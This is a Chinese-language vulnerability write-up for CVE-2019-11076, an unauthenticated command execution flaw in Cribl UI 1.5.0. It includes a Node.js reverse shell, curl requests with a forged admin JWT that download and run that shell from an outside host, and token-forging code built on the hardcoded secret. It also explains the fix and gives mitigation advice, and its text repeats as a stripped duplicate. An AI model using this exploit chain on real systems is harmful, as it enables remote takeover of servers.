CVE-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析
字数 1006 2025-08-26 22:11:56

CVE-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析与利用

漏洞概述

CVE-2019-11076 是 Cribl UI 1.5.0 版本中存在的一个严重安全漏洞,允许攻击者在未授权的情况下执行任意命令。该漏洞主要涉及两个关键问题:

  1. JWT 令牌验证机制缺陷
  2. 硬编码的加密密钥

通过组合利用这些问题,攻击者可以伪造有效的管理员会话令牌,进而通过系统脚本功能执行任意命令。

受影响版本

  • 已验证存在漏洞的版本:1.5.0
  • 可能受影响的版本:1.4.3 及更早版本
  • 已修复版本:1.5.1 及更高版本

环境搭建

使用 Docker 搭建漏洞环境

# 拉取漏洞版本的 Docker 镜像
docker pull cribl/cribl:1.4.3

# 运行容器并映射端口
docker run -p 9000:9000 -d cribl/cribl:1.4.3

默认管理员凭据:

  • 用户名:admin
  • 密码:admin

漏洞利用步骤

1. 准备反弹 Shell 脚本

在攻击者控制的服务器上创建 Node.js 反弹 Shell 脚本(shell.js):

var net = require("net"), sh = require("child_process").exec("/bin/sh");
var client = new net.Socket();
client.connect(6669, "YOUR_REMOTE_IP_OR_FQDN", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
});

2. 设置监听器

在攻击者服务器上监听反弹 Shell 连接:

nc -lvp 6669

3. 利用漏洞执行命令

步骤 1:下载恶意脚本

curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://xxx.xxx.xxx/shell.js","-P","/opt"],"env":{}}' --compressed

步骤 2:执行下载命令

curl 'http://127.0.0.1:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

步骤 3:创建 Node.js 执行脚本

curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/shell.js"],"env":{}}' --compressed

步骤 4:执行反弹 Shell

curl 'http://127.0.0.1:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

漏洞分析

1. JWT 验证机制缺陷

关键验证代码如下:

var f = "d2hvIGxldCB0aGUgZG9ncyBvdXQ="; // 硬编码的密钥
var h = "cribl_auth"; // Cookie 名称
var v = "Bearer "; // Authorization 头部前缀

function y(e, t, r) {
    // 省略部分代码...
    var i = e.cookies && e.cookies[h];
    if (!i) {
        var o = e.header("authentication");
        if (o && o.startsWith(v)) {
            i = o.substr(v.length);
        }
    }
    try {
        a.decode(i || "", f);
        r();
    } catch (e) {
        t.sendStatus(401);
    }
}

2. 硬编码密钥问题

密钥 d2hvIGxldCB0aGUgZG9ncyBvdXQ= 解码后为 who let the dogs out,这是一个硬编码的字符串,使得攻击者可以轻松伪造有效的 JWT 令牌。

3. JWT 令牌生成

使用 jwt-simple 库生成伪造令牌的示例代码:

var jwt = require('jwt-simple');
var payload = {
    "username": "admin",
    "exp": 9999999999
};
var secret = 'd2hvIGxldCB0aGUgZG9ncyBvdXQ=';
var token = jwt.encode(payload, secret);
console.log(token);

生成的令牌格式:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY

修复方案

在 1.5.1 版本中,修复措施包括:

  1. 移除了硬编码的密钥,改为从配置文件中读取
  2. 密钥存储路径:/opt/local/cribl/auth/cribl.secret
  3. 增加了对用户名的检查

修复后的关键代码:

function w() {
    if (!b) {
        var e = c.join(process.env.CRIBL_HOME || "", "local", "cribl", "auth", "cribl.secret");
        b = o.callbackToPromise(l.readFile, e).catch(function(t) {
            return u.mkdirp(c.dirname(e)).then(function() {
                var t = a.randomBytes(256).toString("base64");
                return u.atomicFileWrite(e, t).then(function() {
                    return t
                })
            })
        }).then(function(e) {
            return Buffer.from(e.toString(), "base64")
        })
    }
    return b
}

安全建议

  1. 立即升级到最新版本的 Cribl UI
  2. 如果无法立即升级,确保修改默认的 JWT 密钥
  3. 限制对 Cribl UI 管理界面的网络访问
  4. 定期审计系统日志,监控可疑的脚本执行活动

总结

CVE-2019-11076 漏洞展示了硬编码密钥和弱身份验证机制带来的严重安全风险。虽然后续版本通过从配置文件读取密钥的方式进行了修复,但如果管理员未在生产环境中更改默认密钥,系统仍然面临风险。这强调了在软件开发和安全运维中遵循最佳实践的重要性。

CVE-2019-11076 Cribl UI 1.5.0 未授权命令执行漏洞分析与利用 漏洞概述 CVE-2019-11076 是 Cribl UI 1.5.0 版本中存在的一个严重安全漏洞,允许攻击者在未授权的情况下执行任意命令。该漏洞主要涉及两个关键问题: JWT 令牌验证机制缺陷 硬编码的加密密钥 通过组合利用这些问题,攻击者可以伪造有效的管理员会话令牌,进而通过系统脚本功能执行任意命令。 受影响版本 已验证存在漏洞的版本:1.5.0 可能受影响的版本:1.4.3 及更早版本 已修复版本:1.5.1 及更高版本 环境搭建 使用 Docker 搭建漏洞环境 默认管理员凭据: 用户名:admin 密码:admin 漏洞利用步骤 1. 准备反弹 Shell 脚本 在攻击者控制的服务器上创建 Node.js 反弹 Shell 脚本(shell.js): 2. 设置监听器 在攻击者服务器上监听反弹 Shell 连接: 3. 利用漏洞执行命令 步骤 1:下载恶意脚本 步骤 2:执行下载命令 步骤 3:创建 Node.js 执行脚本 步骤 4:执行反弹 Shell 漏洞分析 1. JWT 验证机制缺陷 关键验证代码如下: 2. 硬编码密钥问题 密钥 d2hvIGxldCB0aGUgZG9ncyBvdXQ= 解码后为 who let the dogs out ,这是一个硬编码的字符串,使得攻击者可以轻松伪造有效的 JWT 令牌。 3. JWT 令牌生成 使用 jwt-simple 库生成伪造令牌的示例代码: 生成的令牌格式: 修复方案 在 1.5.1 版本中,修复措施包括: 移除了硬编码的密钥,改为从配置文件中读取 密钥存储路径: /opt/local/cribl/auth/cribl.secret 增加了对用户名的检查 修复后的关键代码: 安全建议 立即升级到最新版本的 Cribl UI 如果无法立即升级,确保修改默认的 JWT 密钥 限制对 Cribl UI 管理界面的网络访问 定期审计系统日志,监控可疑的脚本执行活动 总结 CVE-2019-11076 漏洞展示了硬编码密钥和弱身份验证机制带来的严重安全风险。虽然后续版本通过从配置文件读取密钥的方式进行了修复,但如果管理员未在生产环境中更改默认密钥,系统仍然面临风险。这强调了在软件开发和安全运维中遵循最佳实践的重要性。